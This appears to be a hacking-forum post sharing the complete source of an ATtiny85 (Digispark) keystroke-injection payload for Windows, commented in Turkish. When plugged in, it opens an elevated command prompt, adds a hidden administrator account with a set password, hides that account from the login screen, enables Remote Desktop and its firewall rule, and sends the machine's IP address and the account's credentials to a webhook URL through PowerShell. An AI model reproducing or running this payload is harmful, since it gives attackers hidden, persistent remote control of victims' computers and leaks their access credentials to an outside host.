Remot Desktop Connection with Attiny85
by Mr_subProcess - Thursday February 13, 2025 at 07:12 AM
#1
#include "DigiKeyboard.h"
#define KEY_TAB 0x2b

void setup() {
  pinMode(2, OUTPUT); // Kırmızı LED
}

void loop() {
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(3000);

  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(200);
  DigiKeyboard.print("taskmgr"); // Görev Yöneticisini Çalıştır
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT);
  DigiKeyboard.sendKeyStroke(KEY_N); // Çalıştır
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd /k mode con: cols=15 lines=1"); // cmd'yi Çalıştır
  DigiKeyboard.sendKeyStroke(KEY_TAB);
  DigiKeyboard.sendKeyStroke(KEY_SPACE); // Yönetici Ayrıcalıklarını Aç
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(200);
  DigiKeyboard.print("taskkill /IM \"taskmgr.exe\" /F "); // Görev Yöneticisini Kapatma
  DigiKeyboard.delay(500); 
  DigiKeyboard.print("net user blanka Ping@123 /ADD"); // Kullanıcı Ekleme
  DigiKeyboard.delay(500);
  DigiKeyboard.print("net localgroup Administrators blanka /ADD"); // Kullanıcıyı Yönetici Grubuna Ekleme
  DigiKeyboard.delay(500);
  DigiKeyboard.print("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /v blanka /t REG_DWORD /d 0 /f"); // Kullanıcıyı giriş ekranından gizleme
  DigiKeyboard.delay(500);
  DigiKeyboard.print("reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"); // Uzak Masaüstünü Açma
  DigiKeyboard.delay(500);
  DigiKeyboard.print("netsh advfirewall firewall set rule group=\"remote desktop\" new enable=yes"); // Güvenlik duvarında izin verme
  DigiKeyboard.delay(500);
  DigiKeyboard.print("net localgroup \"Remote Desktop Users\" blanka /add"); // Kullanıcıyı Uzak Masaüstü grubuna ekleme
  DigiKeyboard.delay(500); 
  DigiKeyboard.print("exit"); // Çıkış Yap
  DigiKeyboard.delay(500);
 
  DigiKeyboard.print("powershell Invoke-RestMethod -Uri https://webhook.site/a6a8d107-9a21-40f6-...54d8d2edc6 -Method Post -Body @{ \"ip\" = (Invoke-WebRequest -Uri \"http://api.ipify.org\").Content; \"user\" = \"blanka\"; \"pass\" = \"Ping@123\" } -ContentType \"application/x-www-form-urlencoded\"");
  DigiKeyboard.delay(500);
 
  digitalWrite(2, HIGH); // Program Bittiğinde Kırmızı Ledi Yak
  DigiKeyboard.delay(90000);
  digitalWrite(2, LOW);
  DigiKeyboard.delay(5000);
}
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  How RAT Malware keeps anonymous or untraceable connection with the server? Crimson_Rain 4 1,117 06-16-2024, 04:39 AM
Last Post: Vittlesical

Forum Jump:


 Users browsing this thread: 1 Guest(s)